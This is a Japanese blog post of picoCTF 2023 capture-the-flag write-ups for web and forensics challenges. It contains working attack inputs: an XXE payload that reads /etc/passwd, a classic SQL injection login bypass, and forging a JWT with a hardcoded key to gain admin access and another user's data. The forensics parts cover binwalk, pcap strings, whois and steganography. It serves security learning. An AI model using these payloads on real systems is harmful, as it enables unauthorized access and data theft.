はまやんはまやんはまやん

hamayanhamayan's blog

picoCTF 2023 Writeups [Web / Forensics]

[web] findme

Burp Suiteを開いて、ユーザー名test, パスワードtest!でログインする。
すると、

GET /next-page/id=cGljb0NURntwcm94aWVzX2Fs HTTP/1.1
Host: saturn.picoctf.net:65215
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://saturn.picoctf.net:65215/
Accept-Encoding: gzip, deflate
Accept-Language: ja,en-US;q=0.9,en;q=0.8
Connection: close

で応答が

HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 264
ETag: W/"108-/7O7VTeecocneZ8ZrGW1rxPrD4s"
Date: Thu, 16 Mar 2023 14:23:43 GMT
Connection: close

<!DOCTYPE html>
<head>
    <title>flag</title>
</head>
<body>
    <script>
        setTimeout(function () {
           // after 2 seconds
           window.location = "/next-page/id=bF90aGVfd2F5XzAxZTc0OGRifQ==";
        }, 0.5)
      </script>
    <p></p>
</body>

というログが残っている。
idに何か渡されている。

cGljb0NURntwcm94aWVzX2Fs
bF90aGVfd2F5XzAxZTc0OGRifQ==

初めて見る人にはピンとこないかもしれないが、分かりやすい部分でいうと=で終わっているのでbase64エンコードされているっぽく見える。
base64でデコードしてみるとフラグになる。

[web] MatchTheRegex

文字列を提出可能なサイトが渡される。
色々試すとpicoCTF{abc}と入れると正規表現にマッチしたのかフラグがもらえた。

[web] SOAP

/etc/passwdを読み込むのがゴールらしい。
burp suiteを開いて、適当に巡回して、ログを見てみると、xmlを使ったリクエストがある。

POST /data HTTP/1.1
Host: saturn.picoctf.net:54579
Content-Length: 61
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.5563.65 Safari/537.36
Content-Type: application/xml
Accept: */*
Origin: http://saturn.picoctf.net:54579
Referer: http://saturn.picoctf.net:54579/
Accept-Encoding: gzip, deflate
Accept-Language: ja,en-US;q=0.9,en;q=0.8
Connection: close

<?xml version="1.0" encoding="UTF-8"?><data><ID>1</ID></data>

xmlと言えばXXEなので、XXEを使ってLFIできないか試す。
以下のようなリクエストを送ると/etc/passwdが取得でき、フラグも書いてある。

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE x [<!ENTITY xxe SYSTEM "file:///etc/passwd" >]><data><ID>&xxe;</ID></data>

[web] More SQLi

ログイン画面が与えられる。
SQLクエリも教えてくれるので、SQL Injectionを期待しているのだろう。
passwordにいつもの ' or 1=1 -- を入れるとフラグが出てきた。

[web] Java Code Analysis!?!

コードが長くて、ちょっとやる気が…というのもありヒントをかなり見て攻略した。

Hint1
Upgrade your 'role' with the new (cracked) JWT. And re-login for the new role to get reflected in browser's localStorage.

JwtService.javaを見てみる。

this.SECRET_KEY = secretGenerator.getServerSecret();

secretGeneratorというクラスが使われているようだ。
そちらを見てみると…

    private String generateRandomString(int len) {
        // not so random
        return "1234";
    }

ハードコーディングされた固定値だった。
JWT(というよりJWSか)の署名に使われている秘密鍵は1234であることがわかる。

Hint2
The 'role' and 'userId' fields in the JWT can be of interest to you!

とりあえずログインして発行されたJWTを見てみよう。

Authorization: Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJyb2xlIjoiRnJlZSIsImlzcyI6ImJvb2tzaGVsZiIsImV4cCI6MTY3OTYxNTU1MCwiaWF0IjoxNjc5MDEwNzUwLCJ1c2VySWQiOjEsImVtYWlsIjoidXNlciJ9.NwRkqMUI3G0TyMF50C5S0tYjENSgIzpTuGy2drtFVO0

jwt.ioに入れてみてみるとpayloadとして以下のようなものが入っている。

{
  "role": "Free",
  "iss": "bookshelf",
  "exp": 1679615550,
  "iat": 1679010750,
  "userId": 1,
  "email": "user"
}

つまり、ここにある要素が改ざん可能。

Hint3
The 'controllers', 'services' and 'security' java packages in the given source code might need your attention. We've provided a README.md file that contains some documentation.

roleがどう見ても怪しいので、ソースコードgrepしてみると、Free,Admin,Premiumがあるみたい。
jwt.io上で試しにAdminに修正して、秘密鍵を1234でトークンを作成しよう。

GET /base/books/pdf/3というエンドポイントで試すと、PDFが帰って来る。
GET /base/booksを見るとid=5がFlagらしいので、GET /base/books/pdf/5に渡してみるが、権限が足りないといわれる。
ソースコード巡回するとBookPdfAccessCheck.javaというかなりそれっぽいクラスが見つかる。
中身を見るとuserIdも考慮していそう。
userIdを2に変更してみると中身を見ることができた。

[Forensics] hideme

pngファイルが与えられる。
まずはstringsしてみる。

$ strings flag.png -n 10
pXch    \\Q$+
secret/UT
secret/flag.pngUT
DE}|*+[Zvv8b
secret/flag.pngUT

なにか埋め込まれていそう。
binwalkしてみる。

$ binwalk -e flag.png 

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             PNG image, 512 x 504, 8-bit/color RGBA, non-interlaced
41            0x29            Zlib compressed data, compressed
39739         0x9B3B          Zip archive data, at least v1.0 to extract, name: secret/
39804         0x9B7C          Zip archive data, at least v2.0 to extract, compressed size: 3004, uncompressed size: 3162, name: secret/flag.png
43043         0xA823          End of Zip archive, footer length: 22

何かありますね。
抽出結果を見るとsecret/flag.pngにフラグが書かれたpngファイルが抽出されてきている。

[Forensics] PcapPoisoning

pcapファイルが与えられる。
No. 507のパケットを見ると平文でフラグが書いてあった。
なので単にstrings trace.pcap | grep picoとすればフラグが得られる。

[Forensics] who is it

メールの送信元が誰のメールサーバーを特定するのが目的な問題。

Receiveを遅い順にみていく。

Received: from localhost
 by mail.onionmail.org (ZoneMTA) with API id 181dc76dff2000ccee.001
 for <francismanzi@gmail.com>;
 Fri, 08 Jul 2022 06:19:47 +0000

一番送信元に近いのはコレだけれどfrom localhostなのであまり参考にならない。

Received: from mail.onionmail.org (mail.onionmail.org. [173.249.33.206])
        by mx.google.com with ESMTPS id f16-20020a05600c4e9000b003a1947873d6si1882702wmq.224.2022.07.07.23.19.47
        for <francismanzi@gmail.com>
        (version=TLS1_3 cipher=TLS_AES_256_GCM_SHA384 bits=256/256);
        Thu, 07 Jul 2022 23:19:47 -0700 (PDT)

次はこれ。
人名が必要そうなので思いつくのはwhois情報。
ここにあるIPアドレスwhoisを見てみると人名が抽出でき、フォーマット通りにすると答え。
whoisは見るところで情報が違うので色々見てみると、ドメイン/IPアドレス サーチ 【whois情報検索】から人名が抽出できた。

[Forensics] FindAndOpen

flag.zipにはパスワードがかかっている。
pcapからパスワードを抜いてくる問題。
pcapを見るとEthernet無視でデータが送られている。

0000   46 6c 79 69 6e 67 20 6f 6e 20 45 74 68 65 72 6e   Flying on Ethern
0010   65 74 20 73 65 63 72 65 74 3a 20 49 73 20 74 68   et secret: Is th
0020   69 73 20 74 68 65 20 66 6c 61 67                  is the flag

0000   69 42 77 61 57 4e 76 51 31 52 47 65 31 43 6f 75   iBwaWNvQ1RGe1Cou
0010   6c 64 20 74 68 65 20 66 6c 61 67 20 68 61 76 65   ld the flag have
0020   20 62 65 65 6e 20 73 70 6c 69 74 74 65 64 3f       been splitted?

0000   41 41 42 42 48 48 50 4a 47 54 46 52 4c 4b 56 47   AABBHHPJGTFRLKVG
0010   68 70 63 79 42 70 63 79 42 30 61 47 55 67 63 32   hpcyBpcyB0aGUgc2
0020   56 6a 63 6d 56 30 4f 69 42 77 61 57 4e 76 51 31   VjcmV0OiBwaWNvQ1
0030   52 47 65 31 49 7a 4e 45 52 4a 54 6b 64 66 54 45   RGe1IzNERJTkdfTE
0040   39 4c 5a 46 38 3d                                 9LZF8=

0000   50 42 77 61 57 55 76 51 31 52 47 65 73 61 62 61   PBwaWUvQ1RGesaba
0010   62 61 62 6b 6a 61 41 53 4b 42 4b 53 42 41 43 56   babkjaASKBKSBACV
0020   56 41 56 53 44 44 53 53 53 53 44 53 4b 4a 42 4a   VAVSDDSSSSDSKJBJ
0030   53                                                S

0000   50 42 77 61 57 55 76 51 31 52 47 65 31 4d 61 79   PBwaWUvQ1RGe1May
0010   62 65 20 74 72 79 20 63 68 65 63 6b 69 6e 67 20   be try checking 
0020   74 68 65 20 6f 74 68 65 72 20 66 69 6c 65         the other file

単純に文字としてみると以下のような感じ

Flying on Ethernet secret: Is this the flag
iBwaWNvQ1RGe1Could the flag have been splitted?
AABBHHPJGTFRLKVGhpcyBpcyB0aGUgc2VjcmV0OiBwaWNvQ1RGe1IzNERJTkdfTE9LZF8=
PBwaWUvQ1RGesabababkjaASKBKSBACVVAVSDDSSSSDSKJBJS
PBwaWUvQ1RGe1Maybe try checking the other file

base64っぽさがあり、base64として解釈できそうな所を切り取ってみると以下のような感じ

Flying on Ethernet secret: Is this the flag
iBw
aWNvQ1RGe1 -> icoCTF{
Could the flag have been splitted?
AABBHHPJGTFRLK
VGhpcyBpcyB0aGUgc2VjcmV0OiBwaWNvQ1RGe1IzNERJTkdfTE9LZF8= -> This is the secret: picoCTF{R34DING_LOKd_
PBw
aWUvQ1RGe -> ie/CTF
sabababkja
ASKBKSBACVVAVSDDSSSSDSKJBJS
PBw
aWUvQ1RGe1 -> ie/CTF{
Maybe try checking the other file

よくわからない感じだったがThis is the secret: picoCTF{R34DING_LOKd_というのが目を引く。
ダメ元でpicoCTF{R34DING_LOKd_をパスワードとして使ってみるとzipが解凍でき、フラグが入っている。

[Forensics] MSB

MSBとのことなので、画像のRGB値の最上位ビットを持ってきてasciiに変換すると文字が現れる。
「青い空を見上げればいつもそこに白い猫」という神ツールがあるので、
これで画像を開き、ステガノグラフィー解析で見てみる。
色々フィルターを適用してみると、最上位ビットで砂嵐というか画像的な傾向がなくなっているので画像とは関係ないデータが埋め込まれているのでは?という感じがする。
ビット抽出を選択してRGBの7ビット目を選択してバイナリデータ表示をすると文字列が現れる。
これを持ってきてpicoCTFを探すとフラグが置いてある。